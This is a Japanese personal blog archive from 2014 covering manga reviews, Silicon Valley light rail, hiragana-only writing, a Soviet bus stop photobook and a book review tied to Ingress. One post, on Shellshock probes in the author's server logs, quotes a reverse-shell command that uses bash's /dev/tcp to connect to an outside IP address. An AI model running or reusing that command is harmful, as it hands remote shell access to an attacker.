2014-10-05

9月に読んだまんがから




適当にピックアップ。

『ハイキュー!!』は11巻と12巻が同時発売。

相変わらず面白いんだが……なんかちょっとポエミーなところが鼻についてきた。なんというかこう、なんといえばいいんだろうね。ダメだけど一生懸命がんばるのってかっこ悪くないよ、という価値観を強く推したい印象があるのだけど、その価値観自体はいいんだけど、なんかこの作品での扱われ方は少しもにょる。画力や迫力でなんとなくごまかされてきたが、ちょっと変じゃないか?というところがある。

石黒正数『木曜日のフルット』[4]

相変わらずな感じなんだが、読んで満足もするのだが、冷静になって考えてみると何が面白いのかよくわからない回がある。何が面白いというか、なにがなんだかよくわからない……面白いんだろうかこれ……と混乱する。勇者の話とか、寝てる間に入れ替わるのをビデオで調べる話とか。なんなんだろうこのまんが。あと毎回の「〜ション」とフィクションをかけたネタが続かなくなったらどうなるのか気になる。あれって編集が考えてるんだろうか? ネタ切れになって困り果てたりしないのだろうか……。

ぢゅん子『私がモテてどうすんだ』[4]

これはびっくりするほどつまらなくなっていて驚いた。3巻でリバウンドして復帰しておしまい、って終わらせるほうがすっきりまとまっていたのでは。ただ実際のところ、主な読者は女性で、続ける以上は登場している男の子のキャラをきちんと描くという展開になっていくが、自分はこういう展開にまったく興味がないというところと思われ……アマゾンレビューでは主な読者層はこれで満足しているようなので、ミスマッチということでここらで諦めるのがたぶん正解。

森薫『シャーリー』[2]

良かった。一冊目のシャーリーのころの絵柄も良いと思うけど、このごろの森薫は描き込みがものすごく、でもなんだかその執念的なものをあまり見せず軽々と見せているのが良いなあと思う。個人的に良かったのは忘れ物を届けに行くエピソード。元彼氏と会う話について、あとがきで「おとしまえをつけておいたほうがいいかなと思い」って言ってて何のことかまったく思い出せず一冊目を買い直してしまったよ(それで読みなおしたが、シャーリーも良いけどイタズラ好きの旦那様の話がとても好きだなあと再確認したのだった)。

高野苺『orange』[1-3]

高校の入学式の日に、10年後の自分を名乗る人間から手紙が来て……という展開の少女漫画。転校生の男の子が1年後に死ぬことになるという未来から救ってほしい、という内容の手紙から未来を変えるべく頑張る。いかにも少女漫画的な些細なことでうまくいかなかったり悩んだりで、おいおいそんなんで大丈夫なのかと思ったりするが、まあそこがリアルなのかもしれない。SF的には面白さはないが、少女漫画的には悪くない。

渡辺カナ『ステラとミルフイユ』[1]

この人は『花と落雷』はあんまり面白いと思わなかったのだが、こころみにほかの短篇集(『ぼくらのゆくえは』『マシカクロック』)を読んでみたらなかなかよかったので買ってみた。親に反発してボロアパートで一人暮らしを始めた高校生と住人たちのはなし。タイトルの意味はよくわかりません。

絵がすごく綺麗なのも良いけど、ちょっとひねて闇を背負っちゃってるかんじの主人公……を生暖かく見守る周囲のひとたちの描写などはなかなかよいと思う。継続。

登場人物は『ぼくらのゆくえは』と一部かぶってる。

あと『なんて素敵にジャパネスク』の漫画版(結婚までを描いた1-6巻)を読んだ。

ちょっと少女漫画成分おおめの月だったかなあ。

2014-09-26

/dev/tcpによるbashのソケット通信

件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。

ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。

アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした(一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……)。

さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。
/bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
えっ/dev/tcp ってなにそれ、と思ったんですが、Bashの独自拡張で、このパス名を使ってソケット通信する機能があるんですね。全然、まったく、知らなかった。ファイルシステムとかFUSEのようなレイヤじゃなくてシェルでそんなことやるわけ? まじで……。

今回の脆弱性が発見されるまで変数定義で関数定義できるという機能も知りませんでしたし、bashって思ったよりヤバいやつだなと思いました。/bin/shに使うようなものではないかな……。

2014-09-14

電車に乗る

さいきん引っ越したのだが、引越し先から歩いて15分ほどのところにライトレールの駅があることに気づいた。

アメリカは車社会だとよく言われる。サンフランシスコなどの都市部ではそうでもないのだと思うが、シリコンバレーは概して田舎なので、やっぱり車は必須だ。車なしで生活するのは、ほんとうに来たばかりの人か、何かの企画でチャレンジしている人かだろう。
とある週末の昼、家のちかくの道。速度制限は45mphなので車は時速70kmぐらいで走っている
公共交通機関もバスと路面電車があるにはあるんだけど、まあなんかしょぼいというのもあり、こちらに移住して2年間、あるいはそれ以前の出張も含めて、一度も乗ったことがない(カルトレインはあるけれど)。東京オフィスで働いていたころに近くのチームにいたこの辺の生まれの同僚は、二十数年生きてきて、いちどもシリコンバレー・ベイエリア近辺のバスに乗ったことがないらしいと聞いた。

が、駅があるなら使ってみても良いかもしれない。サンノゼのダウンタウンに行くのはそれなりに便利なのかも?

ここで軽くシリコンバレーの公共交通機関を説明しておこう。

サンフランシスコ市と、シリコンバレーの中心地とも言えるサンノゼ市のあいだは約60kmほど離れている。この距離は東京駅とつくば駅の距離に近い。サンフランシスコからサンノゼを経由してもう少し南まで行くのがカルトレインという大仰な列車で、サンフランシスコとサンノゼのあいだでだいたい1時間半ぐらいかかるかな……。本数は少ないし遅いしうるさいしで評判はよろしくない(なのでイーロン・マスクが改善案とかを出してみたりするわけだ)。が、いずれにせよこれは長距離用列車である。TXみたいなものですね。

それから、サンフランシスコ市内とベイブリッジを挟んだ対岸であるイーストベイまで伸びるのがBARTという路線。これはぼくも乗ったことがある。サンフランシスコ国際空港から乗れる電車はこれしかない。これに乗ってカルトレインのMillbrae駅とかに行く、というのが出張者の定番だ。

で、シリコンバレーの位置する、いわゆるサウスベイあたりの公共交通を担うのがVTAというやつで、VTAはバスと路面電車の両方を運行させている(BARTをイーストベイからさらに南まで到達させる計画も進行しているが、これはまだあと数年はかかる見通し)。この路面電車のことをライトレールと呼んでいる(ってライトレールって一般名詞だったんですね知らなかった)。

VTAライトレールには2つしか路線がなく、一方がマウンテンビュー駅から北にぐるっと回ってサンノゼダウンタウンを通り過ぎ、また西に戻ってキャンベル市のほうまでいくルート、もうひとつがアラムロック(サンノゼ東部)から北にぐるっとまわって同じくサンノゼダウンタウンを抜け、南西のほうに行くルート。
この2つの路線はサンノゼの北の方で合流し、そのままダウンタウンのあたりまでは同じ駅を使う。
ライトレール。まあこういう感じの路面電車。3両編成ぐらい
乗車賃は固定で1回$2。駅に券売機があるのと、サンフランシスコなどで使われるクリッパーカードでも乗車できる。もっとも、今回乗った時は検札がなかった。
ぼくの乗車駅からサンノゼダウンタウンまでは、だいたい20-30分程度の乗車時間のようだった。バスみたいに降車するときは知らせないといけない(なんか接触感知式のスリットのような部分をさわる)。駅に人影がなく降車客もいない場合はそのまま停止せずに通りすぎている。ダウンタウンなど人通りが多く、ホームの席でのんびり休憩している人なども多い駅では、ちゃんとホームで立って待ってないと止まってくれないようだった。

乗った感想じたいはとくになし。地元民のつかうふつうの電車だ。しいていうなら、車内の案内表記が英語とスペイン語にくわえてベトナム語(たぶん)と中国語があるのがシリコンバレー風かなぁ……。その写真もとっておけばよかったか?

ちなみにサンノゼ市はとうとう人口が100万人をこえたようで、実はサンフランシスコよりも人口が多い(ウィキペディアによるとサンフランシスコは80万人ほど)。ダウンタウンも案外それっぽくなっており、それでいて治安も(そんなには)悪くない。まあ人口の大半はハイテク産業と思われるのでサンフランシスコほど文化的に成熟しておらず、べつにかっこいい街ではないのは確かだが(人口の大半は郊外の住宅地と思われる)、ダウンタウンのあたりはそんなにダメな感じでもないと個人的には思う。
ちなみに、シリコンバレーのあたりのモールやダウンタウンにある駐車場はだいたい無料で車を停められるが、サンフランシスコ市内やサンノゼダウンタウン近辺は有料駐車場ばかり。といった事情を考えると、電車で往復$4なら悪くない気もする。ま、そんなに行く用事もないわけだけど……。
b2 coffee
そんなわけで今回も「とりあえずライトレールに乗ってみる」というのが目的だったので、ついたはいいがやることはなく、とりあえず b2 coffee でコーヒーを飲んで帰ってきた。サンタクララにあるBellanoというカフェの支店で、なかなかオススメ。豆はsightglassのを使っている。あとほかにもPhilz Coffeeもダウンタウンにありますね。

2014-09-11

ひらがなでかくこと

http://yoriyuki.info/ja/blog/2014/09/09/kunyomi/

かわばたやすなりが そんなことを いっていたとは。やはり じだいは ぜんぶ ひらがな なのか。

くにざかいの ながい トンネルを ぬけると ゆきぐに であった。

ふむ。かわばたやすなり ぜんぜん よんでないから、ほかに れいぶんが でてこない。わ

ただ、もんだいの「訓読みのはなし」でも、この ぼうとうが くにざかい なのか こっきょう なのか あいまいで、くにざかい という せつが ゆうりょくだ、という はなしも でてきた。さくしゃの いとが そうであっても、かんじで かかれるものは どうしても あいまいになる。そういう しそうが あるなら、やっぱり、ひらがなで かくべき なのかもしれない。

くんよみを つかわずに かく、というのを やってみた わけだが、やってみて おもったのは、ひらがなだけで こうせいされる パートは すごく よみにくくなるし、ふしぜんなので、かえって、ひらがなが つづきすぎない ように、じゅくごに いいかえたり、そういうことを する はめになった。ふだんなら、こんなふうに じゅくごを つかわないんだけどな、って、ほんまつてんとう だね。わかちがきを すれば よかったのだが、いっけん ふつうの にほんごに みえる、というのも もくてき だったため、わかちがきは できなかった。

そんで ひらがなといえば ゆうめいな ひろしまさんの ブログを よみかえしてみて、いろいろ おもったけど、まあ それは よだんなので ごじつ きがむいたら かいてみよう。

しかし、やっぱ ひろしまさん ほど エクストリームには なれないし、ひらがなだけに なるのは、じぶんには ちょっと むりだな。まだ。

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さて、リンクさきの本題である正書法については、しょうじきまったくわかんないんだけど、日本語については、韓国語とくらべるのがいいのではないか?という気がする。韓国語も、むかしは漢字とまぜがきで、訓読みのようなことをしていたようだ、と、くだんの本にかいてある。

ハングルがうまれたのは15世紀みたいだけど、公的につかわれるようになったり、正書法がうまれたのは、けっこう最近のことみたいだ。わかちがきも19世紀にはいってからみたい。

正書法が明文化されたのは日本統治時代らしいんだけど(ウィキペディア情報)、これには漢字利用はふくまれていたのかな。くわしく調べると、興味深い話が出てきそうにおもう(が、ぜんぜんよくわかんないので誰か調べて教えてくれると嬉しい)。

2014-09-09

笹原宏之『訓読みのはなし』。おもしろいんだが、疑問はつのる



読みのはなし 漢字文化と日本語 (角川ソフィア文庫)

なんとなく漢字の本をよもう、と『訓読みのはなし』。中国でうまれた漢字が日本にやってきて、日本なりのよみかたである訓読みを発展させていったわけだけれども、そのありかたにはものすごくたくさんのバリエーションがあるわけで、その多岐にわたるいろんな訓読みのありかたを、いろいろ説明した本。

この本のユニークなところがあるとすれば、韓国語(朝鮮語)やベトナム語などにおける漢字利用のありかたもあわせて参照しつつはなしをすすめているところで、これが本全体におくゆきをあたえている。

ただ難点をいうと、まとまりがない。

こういうはなしがある、ああいうことがある、こういう場合にはこうよむが、こうならこうだ、ナントカ地方にはこれこれこういう地名がある、こんなめずらしい苗字もある、というのが、ごちゃっとならんでいる。そんな印象。

また本のなかでは相互参照もおおいのだが、訓読みがきわめて複雑であり、ひとつの現象をさまざまな側面からみることができるからだ、ともいえるが、たんに内容が整理されていないだけなのかもしれないというきもする。というか整理のしかたがちがうのかも、とおもう。たとえば、地名や人名は、またべつに説明したほうがよかったんじゃないかな。

そして、著者がいわんとしていることも、いまひとつわからなかった。漢字やその訓読みの文化をかたることで、おくぶかいなあ、おもむきぶかいなあ、とあじわう、ということなのだろうか?

たしかに、かかれている個別の事例はそれぞれになかなかおもしろく、トリビアをおしえてもらうような、そういうたのしさはある。

が、よんでいてぼくが個人的にかんじたのはむしろ、ここまでメンドくさいことをするぐらいなら、漢字なんてやめちまえばよかったのに、ということである。この本にかいてあることによると、微妙な事例もあるにはあるが、韓国語でもベトナム語でも、漢字にたいしておなじ意味の現地語のよみをあてるという「訓読み」の事例はない、もしくはきわめて限定的だ、ということだそうである。だがなぜか漢字文化圏のなかでも日本語だけは訓読みを発達させており、これがいまでもつづいている。なお、過去には韓国語でも訓読みがあったらしいんだが、きえたらしい。

きえた、というと文化の断絶のようにもきこえるが、これを追放に成功した、といえば、むしろいいことのようにおもえる。日本語からも訓読みを追放してしまえばいいんではないか、ともおもう(もちろん国語学者とか研究者はおおいに知識をたくわえてくれればいいし、過去の文献をしらべるには、そういう知識は必要なんだけど、一般人の言語使用は、それと関係がない)。

たとえば、「はかる」とよめる漢字は130個以上あるんだって。「生」のよみかたも3ケタあるんだって。そういうのをよんで、日本語ってすごいなあ、とかおもうんだろうか。アホらしいな、近代化したときに追放しておくべきだったな、というのが忌憚ないぼくの感想なのですが。

もちろん、訓読みがなくなったからとっても、音読みにも漢音や呉音など複数の音がでてくるし、日本語には重箱読みや湯桶読みのようなヤヤコシイものがいっぱいあって、さらにいえば、音読みなのか訓読みなのか慣用的なあて字なのか意味不明なのかわからないようなものもいっぱいあるようで、はなしはそう単純でもない。

となれば、ぜんぶひらがなでええやん、というきもしていて、たぶん、なれればそれでも大丈夫だとおもう。ぼくはそこまでエクストリームには、ならないとおもうけど。

実はこの感想も、ぜんぶひらがなでかこうかなとちょっとおもったんだけど、そうするときっと読者が激減するだろうな、とおもったので、ひとまずあきらかな訓読みを追放してみた(本のタイトルになっているため「訓読み」だけはのこしているが)。いかがですか? わりとイケないこともない、ような気もするんだけど。

2014-09-06

旧ソ連圏のバス停の写真集

Kickstarterで支援してたSoviet Bus Stopというプロジェクトからモノが届きました。

旧ソ連圏を旅して撮影したバス停の写真ばかりをあつめた写真集というニッチなプロジェクトながら1000人以上の支援を集め(といっても全世界で1000人だからニッチだな)、ぶじ刊行にこぎつけたということです。
著者である写真家のChristopher Herwigさんのサイトからサンプルがいくらか見られます。

ロンドンからロシアまで旅行したときに、道すがら出くわすバス停がひとつひとつ違っていて、ユニークな意匠が凝らされているということに気づき、写真を撮っていって貯めていたものをまとめたということのようです。

これなんか良いですよねえ。鎌と槌の意匠が凝らされていて超ソ連。
比較的頑丈なものが多いようで、整備もされ、まだ実際に使われているようですが(普通に待っている現地人らしき人もいるので)、一方で古びているのもかっこいい。

本としてもハードカバーで、それなりにちゃんとしたつくりで、ISBNも入ってます。そのうちふつうに買えるようになるかもしれません。支援者に送られたのはシリアルナンバーつきの限定版のようですが、まあ限定版である必要はないのかもw

2014-08-06

東浩紀『弱いつながり』ーーイングレスをやるべき、という本

東浩紀『弱いつながり』を読んだ。

ネットは自分の趣味関心に強く縛られる。情報であふれているがその情報まで到達できない(本人に到達する気がないので)。だから世界を物理的に旅をして、観光をして、新しいものを見て、自分を変えていくのが大事だ、という本。

本の内容について細かい部分には疑問がある。たとえばウェブ上の言語の問題についていろいろ書いてあるのは、どちらかといえばただの技術的な課題ではないか、とか。旅行は時間がかかることが良いのだ、というのはほんとうか、とか。が、どうでもいい詳細だと思うのでそこは措く。

些事以外に読んでいてずっとモヤモヤしていたのが解決しなかった点がある。旅に出よーーでもどこに? どう選べばいい?

著者はこの本で再三、旅行をすすめる。環境を変え、違う世界を見ることで自分を変えることをすすめる。しかし、じゃあ、どこに行きゃいいの? 何が旅で何が旅でないのか? それが一番難しい問題なんじゃないか?

もちろん「どこにでも行けばいい、変えることが大事だ」というのが回答なのだろう。しかし、それは答えになっているのだろうか。どこかに行くという発想を持つこと、旅行というときに、思いもかけないところに行って思いもかけない経験をするにはどうしたらいいか、ということ。

だが、だとするとーー検索クエリが自分の環境に縛られているように、旅の行き先も、見聞の広める先もまた、自分の環境に縛られてしまうんじゃないのか。これについてももちろん、実際の旅行はすべてが事前の予定通りに進むものではないから、行ってみた先の予想外な事象が「弱いつながり」を生む、というのが正しい回答だろう。

でもそうなんだろうか。そうなんだけど……旅行はそれ自体がそういう性質を持つものでもないんじゃないだろうか。そして、「観光」という言葉で批判されがちな観光ツアーというのは、そういう弱いつながりをなるべく断ち、日常の延長のままに移動する様態であるからこそ批判されているのではないかなあ。いわゆるパック旅行ってやつ。

そもそも、ここで著者の言う旅行というのは、ようするに見聞を広めましょうということなんじゃないだろうか。多様な文化を眺めるには旅行は良いが、たとえば動物園や博物館でも文化ではなく違うジャンルについてではあるが同じような効能はありそうな気もしている。それが旅行に限られているのは、著者がそういう人間だからであって、それはつまり本書の内容もやはり著者が環境に縛られているがゆえでしかないようにも思える。

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さて、この本を読んでいてとにかくどこかで最近読んだような話だな、とずっと引っかかっていたのだが、あれだ、イングレスである。

イングレスというのはグーグルがやっている位置ゲーだが、中の人はけっこう面白いことを考えているようだ。日本人では川島優志がいまはイングレスチームに入っていて、いろんなところで何度か繰り返しイングレスのコンセプトについて語っているが、最近だとこのインタビューは詳しい。
せっかくインターネットが、
人と人をつなげるツールとしてあるのに、
今、実際に起こってることっていうのは、
同じ考えを持っている人との間だけに
コミュニケーションが閉じてしまう、
っていうことだと思うんです。

閉じたコミュニティーの中で
クラスター化されてしまう、っていうことですね。

でも、社会のあり方としては、
もうちょっといろいろなノイズが入ったり、
いろんな意見にさらされながらやっていくもんだと思うんですよね。
そういう意味では、クラスター化が進んだ先には、
あまりいい結果はないんじゃないかっていう気がします。 

(中略)

何を目指しているかというと、人が動くことなんですよね。
「Ingress」を始めたJohn Hankeという人は、
「Google Earth」を作った人なんですけど、
現代の人は外に出て行かなくなくなってしまった、
と彼は感じたんです。

家から一歩も出ることなく
世界中を巡れてしまうものを作った人が、
それと逆のことを目指したというのは、
なんだか面白いですね。

もう一度、人が外に出て行って、
街の中を自分の目で発見して、お互いに挨拶をしたりとか、
自分の身の周りを幸せにするものが作れないか、
と考えて、彼が始めたのが「Ingress」っていうもので。
ぼくなりの咀嚼では、イングレスの目的というのはみんなに世界を歩きまわってもらいたいということ、ポータルを探すという名目で自分の身の回りの環境の知らなかった部分を再発見することのようだ。「あなたの周りの世界は見たままとは限らない」というのは直接的にはゲームの設定なんだけど、そうやって身の回りの世界を再発見するということも含んでいるんだと理解している。

これは著者の言いたかった内容と重なるのではないか。

そして、ここは重要なのだが、イングレスをやるには、世界のいろんなところに行かないといけない。べつに行き先が海外旅行である必要はないし(そのほうが少ないだろう)、ゲーム内には、ここに行けとかいった指示があるわけでもない。でも、ゲームの構造そのものが「どこか違うところに行ってみる」というのをモチベートするようになっている。これは「旅行って行ってもどこに行きゃいいの、行き先ってのも自分に縛られるんじゃないの」という問題に対する一つの答えになっているのではないか。

というわけで、東浩紀はイングレスをやるべき。『弱いつながり』を読んで感心した人々も、まずはイングレスをインスコすべき。

と思いました。

なおぼくはイングレスやってません。